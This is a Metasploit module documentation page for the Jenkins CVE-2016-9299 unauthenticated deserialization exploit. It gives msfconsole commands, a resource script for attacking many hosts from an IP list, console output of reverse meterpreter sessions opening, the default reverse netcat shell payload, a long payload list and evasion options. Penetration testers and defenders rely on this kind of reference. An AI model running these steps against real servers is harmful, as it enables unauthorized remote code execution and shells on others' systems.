Jenkins CLI HTTP Java Deserialization Vulnerability - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/jenkins_ldap_deserialize metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Jenkins CLI HTTP Java Deserialization Vulnerability
Module: exploit/linux/misc/jenkins_ldap_deserialize
Source code: modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
Disclosure date: 2016-11-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): 8080
List of CVEs: CVE-2016-9299
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not required to exploit this vulnerability.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using jenkins_ldap_deserialize against a single host
Normally, you can use exploit/linux/misc/jenkins_ldap_deserialize this way:
msf > use exploit/linux/misc/jenkins_ldap_deserialize
msf exploit(jenkins_ldap_deserialize) > show targets
... a list of targets ...
msf exploit(jenkins_ldap_deserialize) > set TARGET target-id
msf exploit(jenkins_ldap_deserialize) > show options
... show and set options ...
msf exploit(jenkins_ldap_deserialize) > exploit
Using jenkins_ldap_deserialize against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your jenkins_ldap_deserialize will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/misc/jenkins_ldap_deserialize")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Jenkins 2.31 or below is vulnerable and can be downloaded from updates.jenkins-ci.org
This vulnerability does not require authentication and only HTTP access to the vulnerable application is required.
Verification Steps
- Download jenkins 2.31
- Install jenkins
java -jar jenkins.war - Start
msfconsole - Do:
use exploit/linux/misc/jenkins_ldap_deserialize - Do:
set RHOST [target host] - Do:
set PAYLOAD cmd/unix/generic - Do:
set CMD 'touch /tmp/wtf' - Do:
run - It should create /tmp/wtf on the target host.
Required Options
RHOST
The address of the jenkins server.
Options
RPORT
The http port for the jenkins server. (Defaults to 8080)
TARGETURI
The path to the target instance of Jenkins. (Defaults to /)
SRVHOST
The local address to listen for the LDAP request on. (Defaults to 127.0.0.1)
SRVPORT
The local port to listen for the LDAP request on. (Defaults to 1389)
LDAPHOST
The ldap host the exploit will connect to. Can be different from SRVHOST if in a environment where there is port forwarding. (Defaults to 127.0.0.1)
Scenarios
Example usage against a unix target running Jenkins 2.31.
msf > use exploit/linux/misc/jenkins_ldap_deserialize
msf exploit(jenkins_ldap_deserialize) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(jenkins_ldap_deserialize) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
CMD => touch /tmp/wtf
msf exploit(jenkins_ldap_deserialize) > run
[*] Exploit completed, but no session was created.
Go back to menu.
Msfconsole Usage
Here is how the linux/misc/jenkins_ldap_deserialize exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/jenkins_ldap_deserialize
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/misc/jenkins_ldap_deserialize) > show info
Name: Jenkins CLI HTTP Java Deserialization Vulnerability
Module: exploit/linux/misc/jenkins_ldap_deserialize
Platform: Linux, Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-11-16
Provided by:
Matthias Kaiser
Alisa Esage
Ivan
YSOSerial
Available targets:
Id Name
-- ----
0 Jenkins 2.31
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPHOST 127.0.0.1 yes The ldap host the exploit will try to connect to
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 127.0.0.1 yes The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0
SRVPORT 1389 yes The local port to listen on for the ldap server.
TARGETURI / yes The base path to Jenkins
Payload information:
Description:
This module exploits a vulnerability in Jenkins. An unsafe
deserialization bug exists on the Jenkins, which allows remote
arbitrary code execution via HTTP. Authentication is not required to
exploit this vulnerability.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-9299
https://github.com/jenkinsci-cert/SECURITY-218
https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16
http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition
https://github.com/frohoff/ysoserial
Module Options
This is a complete list of options available in the linux/misc/jenkins_ldap_deserialize exploit:
msf6 exploit(linux/misc/jenkins_ldap_deserialize) > show options
Module options (exploit/linux/misc/jenkins_ldap_deserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPHOST 127.0.0.1 yes The ldap host the exploit will try to connect to
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 127.0.0.1 yes The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0
SRVPORT 1389 yes The local port to listen on for the ldap server.
TARGETURI / yes The base path to Jenkins
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Jenkins 2.31
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/jenkins_ldap_deserialize exploit:
msf6 exploit(linux/misc/jenkins_ldap_deserialize) > show advanced
Module advanced options (exploit/linux/misc/jenkins_ldap_deserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/jenkins_ldap_deserialize module can exploit:
msf6 exploit(linux/misc/jenkins_ldap_deserialize) > show targets
Exploit targets:
Id Name
-- ----
0 Jenkins 2.31
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/jenkins_ldap_deserialize exploit:
msf6 exploit(linux/misc/jenkins_ldap_deserialize) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
15 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
16 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
17 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
18 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
19 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
22 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
23 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
24 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
25 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
26 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
27 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
28 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
29 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
30 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
31 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
32 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
33 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
34 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
35 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
36 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
37 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
38 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
39 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
41 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/jenkins_ldap_deserialize exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/jenkins_ldap_deserialize) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Invalid URI: <VALUE>
Here is a relevant code snippet related to the "Invalid URI: <VALUE>" error message:
67:
68: def target_uri
69: begin
70: URI(datastore['TARGETURI'])
71: rescue ::URI::InvalidURIError
72: print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
73: raise Msf::OptionValidateError.new(['TARGETURI'])
74: end
75: end
76:
77: def normalize_uri(*strs)
TARGETURI
Here is a relevant code snippet related to the "TARGETURI" error message:
68: def target_uri
69: begin
70: URI(datastore['TARGETURI'])
71: rescue ::URI::InvalidURIError
72: print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
73: raise Msf::OptionValidateError.new(['TARGETURI'])
74: end
75: end
76:
77: def normalize_uri(*strs)
78: new_str = strs * "/"
The connection timed out.
Here is a relevant code snippet related to the "The connection timed out." error message:
320: def vulnerable?
321: res = send_request_cgi({
322: 'uri' => normalize_uri(target_uri.path)
323: })
324: unless res
325: fail_with(Failure::Unknown, 'The connection timed out.')
326: end
327:
328: http_headers = res.headers
329:
330: http_headers['X-Jenkins'] && http_headers['X-Jenkins'] <= "2.31"
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #7815 Merged Pull Request: Exploit for CVE-2016-9299 (Jenkins CLI Ldap Deser)
References
- CVE-2016-9299
- https://github.com/jenkinsci-cert/SECURITY-218
- https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16
- http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition
- https://github.com/frohoff/ysoserial
See Also
Check also the following modules related to this module:
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/http/jenkins_cli_deserialization
- auxiliary/gather/jenkins_cred_recovery
- auxiliary/scanner/http/jenkins_command
- auxiliary/scanner/http/jenkins_enum
- auxiliary/scanner/http/jenkins_login
- auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum
- exploit/multi/http/jenkins_metaprogramming
- exploit/multi/http/jenkins_script_console
- exploit/multi/http/jenkins_xstream_deserialize
- post/multi/gather/jenkins_gather
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/http/shiro_rememberme_v124_deserialize
- exploit/multi/misc/weblogic_deserialize
- exploit/windows/http/hp_imc_java_deserialize
- exploit/windows/misc/ibm_websphere_java_deserialize
- exploit/multi/misc/weblogic_deserialize_asyncresponseservice
- exploit/multi/misc/weblogic_deserialize_badattr_extcomp
- exploit/multi/misc/weblogic_deserialize_badattrval
- exploit/multi/misc/weblogic_deserialize_marshalledobject
- exploit/multi/misc/weblogic_deserialize_rawobject
- exploit/multi/misc/weblogic_deserialize_unicastref
- auxiliary/admin/ldap/rbcd
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- exploit/windows/ldap/imail_thc
- exploit/windows/ldap/pgp_keyserver7
- exploit/linux/http/pineapp_ldapsyncnow_exec
- exploit/multi/http/phpldapadmin_query_engine
- exploit/windows/http/apache_mod_rewrite_ldap
Related Nessus plugins:
- FreeBSD : jenkins -- Remote code execution vulnerability in remoting module (27eee66d-9474-44a5-b830-21ec12a1c307)
- Fedora 25 : jenkins / jenkins-remoting (2016-368780879d)
- Fedora 24 : jenkins / jenkins-remoting (2016-93679a91df)
Authors
- Matthias Kaiser
- Alisa Esage
- Ivan
- YSOSerial
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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